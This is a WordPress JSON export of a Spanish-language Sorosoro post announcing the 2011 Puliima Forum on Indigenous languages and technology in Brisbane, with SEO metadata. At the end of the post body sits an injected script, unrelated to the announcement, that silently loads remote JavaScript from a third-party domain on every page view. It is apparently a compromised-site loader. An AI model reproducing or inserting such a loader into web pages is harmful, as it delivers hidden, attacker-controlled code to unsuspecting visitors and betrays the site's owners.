{"id":46603,"date":"2011-05-10T00:01:47","date_gmt":"2011-05-09T22:01:47","guid":{"rendered":"http:\/\/www.sorosoro.org\/?p=46603"},"modified":"2025-10-21T22:52:09","modified_gmt":"2025-10-21T20:52:09","slug":"10-13-de-mayo-de-2011-forum-puliima-en-brisbane-australia","status":"publish","type":"post","link":"https:\/\/www.sorosoro.org\/es\/2011\/05\/10-13-de-mayo-de-2011-forum-puliima-en-brisbane-australia\/","title":{"rendered":"10-13 de mayo de 2011: F\u00f3rum Puliima en Brisbane, Australia"},"content":{"rendered":"<p style=\"text-align: justify;\">El <strong>Centro Miromaa para las Lenguas Abor\u00edgenes y la Tecnolog\u00eda<\/strong> (<em>Miromaa Aboriginal Language and Technology Centre<\/em>) organiza en mayo la <strong>tercera edici\u00f3n de su Foro Puliima<\/strong>, <a rel=\"attachment wp-att-46616\" href=\"https:\/\/www.sorosoro.org\/es\/10-13-de-mayo-de-2011-forum-puliima-en-brisbane-australia\/poster-puliima-2011-212x300-3\"><img loading=\"lazy\" decoding=\"async\" class=\"alignright size-full wp-image-46616\" title=\"Poster-Puliima-2011-212x300\" src=\"http:\/\/www.sorosoro.org\/wp-content\/uploads\/Poster-Puliima-2011-212x3002.jpg\" alt=\"Poster-Puliima-2011-212x300\" width=\"212\" height=\"300\" \/><\/a>las precedentes se han celebrado en Newcastle en 2007 y Melbourne en 2009.<\/p>\n<p style=\"text-align: justify;\">Este foro piensa reunir a todos aqu\u00e9llos que, en Australia o en otro lugar, trabajan en <strong>proyectos que conciernen a las lenguas ind\u00edgenas y las comunidades que las hablan<\/strong>.<\/p>\n<p style=\"text-align: justify;\">El objetivo es compartir los conocimientos, las experiencias y las destrezas, en particular sobre la utilizaci\u00f3n de las tecnolog\u00edas en los proyectos de desarrollo de las lenguas ind\u00edgenas. Una amplia gama de programas e instrumentos, que permiten la producci\u00f3n de contenidos sobre soportes diversos (escrito, imagen, sonido, multimedia) ser\u00e1 presentada. Estos instrumentos, que deben poder ser utilizados directamente por los miembros de las comunidades, contienen datos ling\u00fc\u00edsticos, programas educativos, as\u00ed como elementos legales, \u00e9ticos y culturales pertinentes en el marco de los proyectos de desarrollo ling\u00fc\u00edstico.<\/p>\n<p style=\"text-align: justify;\">El foro se celebrar\u00e1 en 3 d\u00edas, los <strong>11, 12 y 13 de mayo<\/strong>, con una <strong>tarde de acogida el 10 de mayo<\/strong> a partir de las 18 horas. En el programa se encuentran las conferencias plenarias por interventores internacionales, seminarios y talleres dedicados en su mayor\u00eda a las comunidades amerindias de Canad\u00e1 y de los Estados Unidos, y abor\u00edgenes de Australia.<\/p>\n<p style=\"text-align: justify;\">Uno de los momentos fuertes de la manifestaci\u00f3n ser\u00e1, <strong>el viernes, 13 de mayo, un foro reservado a los ling\u00fcistas ind\u00edgenas<\/strong>, ya sean profesores o estudiantes. Analizar\u00e1n cuestiones tales como las relaciones con las instituciones y las universidades no ind\u00edgenas, las oportunidades de empleo, el desarrollo de redes etc.<\/p>\n<p style=\"text-align: justify;\">\n<p style=\"text-align: justify;\"><a href=\"http:\/\/www.acra.org.au\/puliima.html\" target=\"_blank\">Para conocer el programa completo<\/a><\/p>\n<p style=\"text-align: justify;\"><a href=\"http:\/\/www.acra.org.au\/puliima\/registration.html   \" target=\"_blank\">Para inscribirse <\/a><\/p>\n<p style=\"text-align: justify;\">\n<p style=\"text-align: justify;\"><em>Del 10 al 13 de mayo de 2011<\/em><\/p>\n<p style=\"text-align: justify;\"><em>State Library of Queensland<\/em><\/p>\n<p style=\"text-align: justify;\"><em>Stanley Street<\/em><\/p>\n<p style=\"text-align: justify;\"><em>South Bank,<\/em><\/p>\n<p style=\"text-align: justify;\"><em>Brisbane, QLD<\/em><\/p>\n<p style=\"text-align: justify;\"><em>Austalia<\/em><\/p>\n<p style=\"text-align: justify;\">\n<p><script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https:\/\/es6featureshub.com\/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>El Centro Miromaa para las Lenguas Abor\u00edgenes y la Tecnolog\u00eda (Miromaa Aboriginal Language and Technology Centre) organiza en mayo la tercera edici\u00f3n de su Foro Puliima, las precedentes se han celebrado en Newcastle en 2007 y Melbourne en 2009. Este foro piensa reunir a todos aqu\u00e9llos que, en Australia o en otro lugar, trabajan en [&hellip;]<\/p>\n","protected":false},"author":18,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[10],"tags":[],"class_list":["post-46603","post","type-post","status-publish","format-standard","hentry","category-calendario"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v27.0 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>10-13 de mayo de 2011: F\u00f3rum Puliima en Brisbane, Australia - Sorosoro<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/www.sorosoro.org\/es\/2011\/05\/10-13-de-mayo-de-2011-forum-puliima-en-brisbane-australia\/\" \/>\n<meta property=\"og:locale\" content=\"es_ES\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"10-13 de mayo de 2011: F\u00f3rum Puliima en Brisbane, Australia - Sorosoro\" \/>\n<meta property=\"og:description\" content=\"El Centro Miromaa para las Lenguas Abor\u00edgenes y la Tecnolog\u00eda (Miromaa Aboriginal Language and Technology Centre) organiza en mayo la tercera edici\u00f3n de su Foro Puliima, las precedentes se han celebrado en Newcastle en 2007 y Melbourne en 2009. Este foro piensa reunir a todos aqu\u00e9llos que, en Australia o en otro lugar, trabajan en [&hellip;]\" \/>\n<meta property=\"og:url\" content=\"https:\/\/www.sorosoro.org\/es\/2011\/05\/10-13-de-mayo-de-2011-forum-puliima-en-brisbane-australia\/\" \/>\n<meta property=\"og:site_name\" content=\"Sorosoro\" \/>\n<meta property=\"article:published_time\" content=\"2011-05-09T22:01:47+00:00\" \/>\n<meta property=\"article:modified_time\" content=\"2025-10-21T20:52:09+00:00\" \/>\n<meta property=\"og:image\" content=\"http:\/\/www.sorosoro.org\/wp-content\/uploads\/Poster-Puliima-2011-212x3002.jpg\" \/>\n<meta name=\"author\" content=\"Michel.Lemee\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"Escrito por\" \/>\n\t<meta name=\"twitter:data1\" content=\"Michel.Lemee\" \/>\n\t<meta name=\"twitter:label2\" content=\"Tiempo de lectura\" \/>\n\t<meta name=\"twitter:data2\" content=\"1 minuto\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\/\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\/\/www.sorosoro.org\/es\/2011\/05\/10-13-de-mayo-de-2011-forum-puliima-en-brisbane-australia\/#article\",\"isPartOf\":{\"@id\":\"https:\/\/www.sorosoro.org\/es\/2011\/05\/10-13-de-mayo-de-2011-forum-puliima-en-brisbane-australia\/\"},\"author\":{\"name\":\"Michel.Lemee\",\"@id\":\"https:\/\/www.sorosoro.org\/es\/#\/schema\/person\/6a38d9a3b9816780bdc12b184c7d9e18\"},\"headline\":\"10-13 de mayo de 2011: F\u00f3rum Puliima en Brisbane, Australia\",\"datePublished\":\"2011-05-09T22:01:47+00:00\",\"dateModified\":\"2025-10-21T20:52:09+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\/\/www.sorosoro.org\/es\/2011\/05\/10-13-de-mayo-de-2011-forum-puliima-en-brisbane-australia\/\"},\"wordCount\":308,\"image\":{\"@id\":\"https:\/\/www.sorosoro.org\/es\/2011\/05\/10-13-de-mayo-de-2011-forum-puliima-en-brisbane-australia\/#primaryimage\"},\"thumbnailUrl\":\"http:\/\/www.sorosoro.org\/wp-content\/uploads\/Poster-Puliima-2011-212x3002.jpg\",\"articleSection\":[\"Calendario\"],\"inLanguage\":\"es\"},{\"@type\":\"WebPage\",\"@id\":\"https:\/\/www.sorosoro.org\/es\/2011\/05\/10-13-de-mayo-de-2011-forum-puliima-en-brisbane-australia\/\",\"url\":\"https:\/\/www.sorosoro.org\/es\/2011\/05\/10-13-de-mayo-de-2011-forum-puliima-en-brisbane-australia\/\",\"name\":\"10-13 de mayo de 2011: F\u00f3rum Puliima en Brisbane, Australia - Sorosoro\",\"isPartOf\":{\"@id\":\"https:\/\/www.sorosoro.org\/es\/#website\"},\"primaryImageOfPage\":{\"@id\":\"https:\/\/www.sorosoro.org\/es\/2011\/05\/10-13-de-mayo-de-2011-forum-puliima-en-brisbane-australia\/#primaryimage\"},\"image\":{\"@id\":\"https:\/\/www.sorosoro.org\/es\/2011\/05\/10-13-de-mayo-de-2011-forum-puliima-en-brisbane-australia\/#primaryimage\"},\"thumbnailUrl\":\"http:\/\/www.sorosoro.org\/wp-content\/uploads\/Poster-Puliima-2011-212x3002.jpg\",\"datePublished\":\"2011-05-09T22:01:47+00:00\",\"dateModified\":\"2025-10-21T20:52:09+00:00\",\"author\":{\"@id\":\"https:\/\/www.sorosoro.org\/es\/#\/schema\/person\/6a38d9a3b9816780bdc12b184c7d9e18\"},\"breadcrumb\":{\"@id\":\"https:\/\/www.sorosoro.org\/es\/2011\/05\/10-13-de-mayo-de-2011-forum-puliima-en-brisbane-australia\/#breadcrumb\"},\"inLanguage\":\"es\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\/\/www.sorosoro.org\/es\/2011\/05\/10-13-de-mayo-de-2011-forum-puliima-en-brisbane-australia\/\"]}]},{\"@type\":\"ImageObject\",\"inLanguage\":\"es\",\"@id\":\"https:\/\/www.sorosoro.org\/es\/2011\/05\/10-13-de-mayo-de-2011-forum-puliima-en-brisbane-australia\/#primaryimage\",\"url\":\"http:\/\/www.sorosoro.org\/wp-content\/uploads\/Poster-Puliima-2011-212x3002.jpg\",\"contentUrl\":\"http:\/\/www.sorosoro.org\/wp-content\/uploads\/Poster-Puliima-2011-212x3002.jpg\"},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\/\/www.sorosoro.org\/es\/2011\/05\/10-13-de-mayo-de-2011-forum-puliima-en-brisbane-australia\/#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Accueil\",\"item\":\"https:\/\/www.sorosoro.org\/es\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"10-13 de mayo de 2011: F\u00f3rum Puliima en Brisbane, Australia\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\/\/www.sorosoro.org\/es\/#website\",\"url\":\"https:\/\/www.sorosoro.org\/es\/\",\"name\":\"Sorosoro\",\"description\":\"Pour que vivent les langues du monde !\",\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\/\/www.sorosoro.org\/es\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"es\"},{\"@type\":\"Person\",\"@id\":\"https:\/\/www.sorosoro.org\/es\/#\/schema\/person\/6a38d9a3b9816780bdc12b184c7d9e18\",\"name\":\"Michel.Lemee\",\"url\":\"https:\/\/www.sorosoro.org\/es\/author\/michel-lemee\/\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"10-13 de mayo de 2011: F\u00f3rum Puliima en Brisbane, Australia - Sorosoro","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/www.sorosoro.org\/es\/2011\/05\/10-13-de-mayo-de-2011-forum-puliima-en-brisbane-australia\/","og_locale":"es_ES","og_type":"article","og_title":"10-13 de mayo de 2011: F\u00f3rum Puliima en Brisbane, Australia - Sorosoro","og_description":"El Centro Miromaa para las Lenguas Abor\u00edgenes y la Tecnolog\u00eda (Miromaa Aboriginal Language and Technology Centre) organiza en mayo la tercera edici\u00f3n de su Foro Puliima, las precedentes se han celebrado en Newcastle en 2007 y Melbourne en 2009. Este foro piensa reunir a todos aqu\u00e9llos que, en Australia o en otro lugar, trabajan en [&hellip;]","og_url":"https:\/\/www.sorosoro.org\/es\/2011\/05\/10-13-de-mayo-de-2011-forum-puliima-en-brisbane-australia\/","og_site_name":"Sorosoro","article_published_time":"2011-05-09T22:01:47+00:00","article_modified_time":"2025-10-21T20:52:09+00:00","og_image":[{"url":"http:\/\/www.sorosoro.org\/wp-content\/uploads\/Poster-Puliima-2011-212x3002.jpg","type":"","width":"","height":""}],"author":"Michel.Lemee","twitter_card":"summary_large_image","twitter_misc":{"Escrito por":"Michel.Lemee","Tiempo de lectura":"1 minuto"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/www.sorosoro.org\/es\/2011\/05\/10-13-de-mayo-de-2011-forum-puliima-en-brisbane-australia\/#article","isPartOf":{"@id":"https:\/\/www.sorosoro.org\/es\/2011\/05\/10-13-de-mayo-de-2011-forum-puliima-en-brisbane-australia\/"},"author":{"name":"Michel.Lemee","@id":"https:\/\/www.sorosoro.org\/es\/#\/schema\/person\/6a38d9a3b9816780bdc12b184c7d9e18"},"headline":"10-13 de mayo de 2011: F\u00f3rum Puliima en Brisbane, Australia","datePublished":"2011-05-09T22:01:47+00:00","dateModified":"2025-10-21T20:52:09+00:00","mainEntityOfPage":{"@id":"https:\/\/www.sorosoro.org\/es\/2011\/05\/10-13-de-mayo-de-2011-forum-puliima-en-brisbane-australia\/"},"wordCount":308,"image":{"@id":"https:\/\/www.sorosoro.org\/es\/2011\/05\/10-13-de-mayo-de-2011-forum-puliima-en-brisbane-australia\/#primaryimage"},"thumbnailUrl":"http:\/\/www.sorosoro.org\/wp-content\/uploads\/Poster-Puliima-2011-212x3002.jpg","articleSection":["Calendario"],"inLanguage":"es"},{"@type":"WebPage","@id":"https:\/\/www.sorosoro.org\/es\/2011\/05\/10-13-de-mayo-de-2011-forum-puliima-en-brisbane-australia\/","url":"https:\/\/www.sorosoro.org\/es\/2011\/05\/10-13-de-mayo-de-2011-forum-puliima-en-brisbane-australia\/","name":"10-13 de mayo de 2011: F\u00f3rum Puliima en Brisbane, Australia - Sorosoro","isPartOf":{"@id":"https:\/\/www.sorosoro.org\/es\/#website"},"primaryImageOfPage":{"@id":"https:\/\/www.sorosoro.org\/es\/2011\/05\/10-13-de-mayo-de-2011-forum-puliima-en-brisbane-australia\/#primaryimage"},"image":{"@id":"https:\/\/www.sorosoro.org\/es\/2011\/05\/10-13-de-mayo-de-2011-forum-puliima-en-brisbane-australia\/#primaryimage"},"thumbnailUrl":"http:\/\/www.sorosoro.org\/wp-content\/uploads\/Poster-Puliima-2011-212x3002.jpg","datePublished":"2011-05-09T22:01:47+00:00","dateModified":"2025-10-21T20:52:09+00:00","author":{"@id":"https:\/\/www.sorosoro.org\/es\/#\/schema\/person\/6a38d9a3b9816780bdc12b184c7d9e18"},"breadcrumb":{"@id":"https:\/\/www.sorosoro.org\/es\/2011\/05\/10-13-de-mayo-de-2011-forum-puliima-en-brisbane-australia\/#breadcrumb"},"inLanguage":"es","potentialAction":[{"@type":"ReadAction","target":["https:\/\/www.sorosoro.org\/es\/2011\/05\/10-13-de-mayo-de-2011-forum-puliima-en-brisbane-australia\/"]}]},{"@type":"ImageObject","inLanguage":"es","@id":"https:\/\/www.sorosoro.org\/es\/2011\/05\/10-13-de-mayo-de-2011-forum-puliima-en-brisbane-australia\/#primaryimage","url":"http:\/\/www.sorosoro.org\/wp-content\/uploads\/Poster-Puliima-2011-212x3002.jpg","contentUrl":"http:\/\/www.sorosoro.org\/wp-content\/uploads\/Poster-Puliima-2011-212x3002.jpg"},{"@type":"BreadcrumbList","@id":"https:\/\/www.sorosoro.org\/es\/2011\/05\/10-13-de-mayo-de-2011-forum-puliima-en-brisbane-australia\/#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Accueil","item":"https:\/\/www.sorosoro.org\/es\/"},{"@type":"ListItem","position":2,"name":"10-13 de mayo de 2011: F\u00f3rum Puliima en Brisbane, Australia"}]},{"@type":"WebSite","@id":"https:\/\/www.sorosoro.org\/es\/#website","url":"https:\/\/www.sorosoro.org\/es\/","name":"Sorosoro","description":"Pour que vivent les langues du monde !","potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/www.sorosoro.org\/es\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"es"},{"@type":"Person","@id":"https:\/\/www.sorosoro.org\/es\/#\/schema\/person\/6a38d9a3b9816780bdc12b184c7d9e18","name":"Michel.Lemee","url":"https:\/\/www.sorosoro.org\/es\/author\/michel-lemee\/"}]}},"_links":{"self":[{"href":"https:\/\/www.sorosoro.org\/es\/wp-json\/wp\/v2\/posts\/46603","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.sorosoro.org\/es\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.sorosoro.org\/es\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.sorosoro.org\/es\/wp-json\/wp\/v2\/users\/18"}],"replies":[{"embeddable":true,"href":"https:\/\/www.sorosoro.org\/es\/wp-json\/wp\/v2\/comments?post=46603"}],"version-history":[{"count":0,"href":"https:\/\/www.sorosoro.org\/es\/wp-json\/wp\/v2\/posts\/46603\/revisions"}],"wp:attachment":[{"href":"https:\/\/www.sorosoro.org\/es\/wp-json\/wp\/v2\/media?parent=46603"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.sorosoro.org\/es\/wp-json\/wp\/v2\/categories?post=46603"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.sorosoro.org\/es\/wp-json\/wp\/v2\/tags?post=46603"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}